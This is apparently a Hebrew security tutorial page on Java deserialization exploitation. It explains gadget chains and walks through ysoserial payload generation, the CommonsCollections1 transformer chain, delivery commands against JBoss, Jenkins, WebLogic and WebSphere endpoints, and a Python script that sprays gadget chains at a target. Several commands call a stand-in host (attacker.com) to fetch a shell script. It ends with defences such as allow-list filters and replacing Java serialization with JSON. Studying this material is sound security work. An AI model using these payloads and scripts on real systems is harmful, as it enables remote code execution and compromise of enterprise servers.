לדלג לתוכן

דסריאליזציה מתקדמת - Java Deserialization

מבוא לסריאליזציה ב-Java

סריאליזציה ב-Java היא תהליך המרה של אובייקט Java לרצף של בתים, שניתן לשמור לקובץ או לשלוח ברשת. דסריאליזציה היא התהליך ההפוך - המרת רצף הבתים חזרה לאובייקט.

מבנה הפורמט

כל אובייקט Java מסורלז מתחיל עם Magic Bytes קבועים:

AC ED 00 05

בייצוג Base64, המחרוזת מתחילה ב:

rO0AB...

קוד בסיסי

import java.io.*;

// Serialization
public class SerializeExample {
    public static void main(String[] args) throws Exception {
        // Create an object
        String data = "Hello World";

        // Write to a file
        ObjectOutputStream oos = new ObjectOutputStream(
            new FileOutputStream("data.ser")
        );
        oos.writeObject(data);
        oos.close();
    }
}

// Deserialization
public class DeserializeExample {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
            new FileInputStream("data.ser")
        );
        // This is where the magic happens - the object is rebuilt
        String data = (String) ois.readObject();
        System.out.println(data);
        ois.close();
    }
}

מדוע דסריאליזציה ב-Java מסוכנת

הבעיה המרכזית

כש-Java מבצעת דסריאליזציה, היא מפעילה קוד כחלק מתהליך בניית האובייקט. אם ב-classpath של האפליקציה קיימות ספריות מסוימות, ניתן לבנות שרשרת של אובייקטים (Gadget Chain) שגורמת להרצת קוד שרירותי.

שרשראות Gadget - Gadget Chains

שרשרת Gadget היא רצף של אובייקטים שכל אחד קורא למתודה של הבא בתור, עד שמגיעים להרצת פקודה:

Object A (readObject)
  --> calls method on Object B
    --> calls method on Object C
      --> calls Runtime.exec("command")

הכלי ysoserial

הכלי ysoserial מייצר payloads מוכנים לexploit דסריאליזציה ב-Java:

# Installation
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

# Or download the JAR directly
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

שרשראות נפוצות

# CommonsCollections1 - requires Apache Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.ser

# CommonsCollections5 - requires Apache Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections5 "wget http://attacker.com/shell.sh" > payload.ser

# CommonsCollections6 - works with Commons Collections 3.1-3.2.1
java -jar ysoserial-all.jar CommonsCollections6 "curl http://attacker.com" > payload.ser

# CommonsCollections7 - another chain for Commons Collections
java -jar ysoserial-all.jar CommonsCollections7 "ping -c1 attacker.com" > payload.ser

# CommonsBeanutils1 - requires Commons Beanutils + Commons Collections
java -jar ysoserial-all.jar CommonsBeanutils1 "whoami" > payload.ser

# Spring1 - requires Spring Framework
java -jar ysoserial-all.jar Spring1 "touch /tmp/pwned" > payload.ser

# JBossInterceptors - requires JBoss
java -jar ysoserial-all.jar JBossInterceptors1 "id" > payload.ser

שליחה בencoding Base64

# Create a Base64-encoded payload
java -jar ysoserial-all.jar CommonsCollections5 "id" | base64 -w 0

# Send over HTTP
curl -X POST http://target.com/api/deserialize \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.ser

כיצד עובדת שרשרת CommonsCollections1

הרעיון

הספרייה Apache Commons Collections מכילה מחלקות שמאפשרות טרנספורמציה של אובייקטים. ניתן לשרשר אותן כך שיגרמו להרצת פקודה.

// The chain, simply:
// 1. InvokerTransformer - calls a method on an object
// 2. ChainedTransformer - chains multiple Transformers
// 3. ConstantTransformer - returns a constant value
// 4. LazyMap - triggers a Transformer when accessing a missing key
// 5. TiedMapEntry - causes access to the Map during hashCode()
// 6. HashSet/HashMap - calls hashCode() during readObject()

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

// Build the Transformers chain
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        new Class[] { String.class, Class[].class },
        new Object[] { "getRuntime", new Class[0] }
    ),
    new InvokerTransformer(
        "invoke",
        new Class[] { Object.class, Object[].class },
        new Object[] { null, new Object[0] }
    ),
    new InvokerTransformer(
        "exec",
        new Class[] { String.class },
        new Object[] { "calc.exe" }  // The command that will run
    )
};

Transformer chain = new ChainedTransformer(transformers);

זרימת ההרצה

readObject() [HashMap]
  --> hashCode() [TiedMapEntry]
    --> get() [LazyMap]
      --> transform() [ChainedTransformer]
        --> ConstantTransformer: returns Runtime.class
        --> InvokerTransformer: Runtime.getMethod("getRuntime")
        --> InvokerTransformer: method.invoke(null)  = Runtime.getRuntime()
        --> InvokerTransformer: runtime.exec("calc.exe")

זיהוי נקודות דסריאליזציה

סימנים ב-HTTP

# Content-Type headers
Content-Type: application/x-java-serialized-object
Content-Type: application/x-java-object

# Magic Bytes in the request (hex)
AC ED 00 05

# Base64 in parameters
?data=rO0ABXNy...
?viewstate=rO0ABXNy...

# Cookies with serialized data
Cookie: session=rO0ABXNy...
Cookie: JSESSIONID=...; userdata=rO0ABXNy...

סימנים בפרוטוקולים

# RMI - Remote Method Invocation (port 1099)
# JMX - Java Management Extensions (port 9010)
# T3/IIOP - WebLogic protocols (port 7001)
# Custom protocols over TCP

סריקה אוטומטית

# Use the Burp Extension - Java Deserialization Scanner
# Or use ysoserial with a URLDNS payload for detection

# URLDNS - does not run code, only sends a DNS request
java -jar ysoserial-all.jar URLDNS "http://BURP-COLLABORATOR.burpcollaborator.net" > detect.ser

# If a DNS request reaches the Collaborator - the application is vulnerable

יעדים בעולם האמיתי

JBoss

# JBoss 4.x/5.x/6.x - entry point at JMXInvokerServlet
curl http://target:8080/invoker/JMXInvokerServlet \
  --data-binary @payload.ser

# JBoss - HttpInvoker
curl http://target:8080/invoker/readonly \
  --data-binary @payload.ser

Jenkins

# Jenkins CLI (port 50000 or via HTTP)
# Jenkins < 2.154 / < 2.138.4

# Send a payload via the CLI protocol
python3 -c "
import socket
s = socket.socket()
s.connect(('target', 50000))

# Jenkins CLI protocol header
s.send(b'\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74')

with open('payload.ser', 'rb') as f:
    s.send(f.read())
"

WebLogic

# WebLogic T3 Protocol (port 7001)
# CVE-2015-4852, CVE-2017-10271, CVE-2019-2725

# Use a dedicated tool
python3 weblogic_exploit.py -t target:7001 -p CommonsCollections1 -c "id"

# WebLogic IIOP
# CVE-2020-2551

WebSphere

# IBM WebSphere - SOAP connector (port 8880)
curl http://target:8880/ \
  -H "Content-Type: text/xml" \
  -d @soap_payload.xml

# The payload is placed inside a SOAP envelope, Base64-encoded

זיהוי ספריות פגיעות ב-Classpath

כלי ysoserial URLDNS

# The URLDNS payload requires no extra libraries - always works
# Used to detect that the application performs deserialization
java -jar ysoserial-all.jar URLDNS "http://detect.attacker.com" | base64

סריקה שיטתית

#!/usr/bin/env python3
"""
Script to identify a suitable Gadget chain
Tries each chain and waits for a callback in the Collaborator
"""
import subprocess
import requests
import base64
import time

CHAINS = [
    "CommonsCollections1",
    "CommonsCollections2",
    "CommonsCollections3",
    "CommonsCollections4",
    "CommonsCollections5",
    "CommonsCollections6",
    "CommonsCollections7",
    "CommonsBeanutils1",
    "Spring1",
    "Spring2",
    "Groovy1",
    "JBossInterceptors1",
    "Hibernate1",
    "Hibernate2",
    "MozillaRhino1",
    "MozillaRhino2",
]

def generate_payload(chain, command):
    result = subprocess.run(
        ["java", "-jar", "ysoserial-all.jar", chain, command],
        capture_output=True
    )
    return result.stdout

def test_chain(target_url, chain, collaborator_id):
    command = f"nslookup {chain}.{collaborator_id}.burpcollaborator.net"
    payload = generate_payload(chain, command)

    if not payload:
        print(f"[-] {chain}: Failed to generate")
        return

    encoded = base64.b64encode(payload).decode()

    try:
        response = requests.post(
            target_url,
            data=payload,
            headers={"Content-Type": "application/x-java-serialized-object"},
            timeout=10
        )
        print(f"[*] {chain}: Sent (status={response.status_code})")
    except Exception as e:
        print(f"[-] {chain}: Error - {e}")

# Usage
target = "http://target:8080/invoker/JMXInvokerServlet"
collab = "abc123"

for chain in CHAINS:
    test_chain(target, chain, collab)
    time.sleep(1)

print("\n[*] Check Burp Collaborator for DNS callbacks")
print("[*] The chain name will appear as subdomain")

בניית שרשרת Gadget מותאמת אישית

מתודולוגיה

  1. זהו את הספריות ב-classpath של היעד
  2. חפשו מחלקות עם readObject() או readResolve() מותאמים
  3. מפו את הקריאות שמתבצעות בזמן דסריאליזציה
  4. מצאו נתיב מ-readObject() ל-Runtime.exec() או דומה

כלים לניתוח

# GadgetInspector - scans the classpath and finds new chains
git clone https://github.com/JackOfMostTrades/gadgetinspector.git
cd gadgetinspector
mvn clean package

# Run on a JAR/WAR file
java -jar gadget-inspector.jar target-app.war

# Gadget Probe - check which libraries exist in the classpath
git clone https://github.com/BishopFox/GadgetProbe.git

דוגמה לשרשרת מותאמת

// Suppose we found the following classes in the classpath:

// Class A - has a readObject() that calls compare()
public class VulnerableComparator implements Comparator, Serializable {
    private Object delegate;

    private void readObject(ObjectInputStream ois) throws Exception {
        ois.defaultReadObject();
        // Calls compare on delegate
        this.delegate.compare(this, this);
    }
}

// Class B - its compare() calls toString()
public class DangerousCompare implements Comparator, Serializable {
    private Object target;

    public int compare(Object a, Object b) {
        return target.toString().compareTo(b.toString());
    }
}

// Class C - its toString() runs code
public class CommandRunner implements Serializable {
    private String command;

    public String toString() {
        try {
            Runtime.getRuntime().exec(command);
        } catch (Exception e) {}
        return command;
    }
}

// The chain: readObject() -> compare() -> toString() -> exec()

הגנות

אל תבצעו דסריאליזציה של מידע לא מהימן

// The best solution - use JSON instead
// Jackson, Gson, or org.json

import com.google.gson.Gson;

Gson gson = new Gson();
MyObject obj = gson.fromJson(jsonString, MyObject.class);

רשימת היתר למחלקות - Whitelist

// Use ObjectInputFilter (Java 9+)
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filterInfo -> {
    Class<?> clazz = filterInfo.serialClass();
    if (clazz == null) return ObjectInputFilter.Status.UNDECIDED;

    // Only allowed classes
    Set<String> allowed = Set.of(
        "com.myapp.dto.UserData",
        "com.myapp.dto.OrderData"
    );

    if (allowed.contains(clazz.getName())) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    return ObjectInputFilter.Status.REJECTED;
});

Look-Ahead ObjectInputStream

// A library that allows checking before deserialization
// Apache Commons IO - ValidatingObjectInputStream

ValidatingObjectInputStream vois = new ValidatingObjectInputStream(inputStream);
vois.accept(UserData.class, OrderData.class);
vois.reject("org.apache.commons.collections.*");

Object obj = vois.readObject();

עדכון ספריות

<!-- Make sure the libraries are up to date -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version> <!-- Patched version -->
</dependency>

סיכום

רכיב פרטים
Magic Bytes AC ED 00 05 (hex) / rO0AB (Base64)
כלי עיקרי ysoserial
שרשראות נפוצות CommonsCollections, CommonsBeanutils, Spring
יעדים נפוצים JBoss, Jenkins, WebLogic, WebSphere
זיהוי URLDNS payload + Burp Collaborator
הגנה מרכזית אל תבצעו דסריאליזציה של מידע לא מהימן

חולשות דסריאליזציה ב-Java נותנות RCE מיידי. זו אחת החולשות החמורות ביותר - וגם אחת הנפוצות ביותר באפליקציות ארגוניות.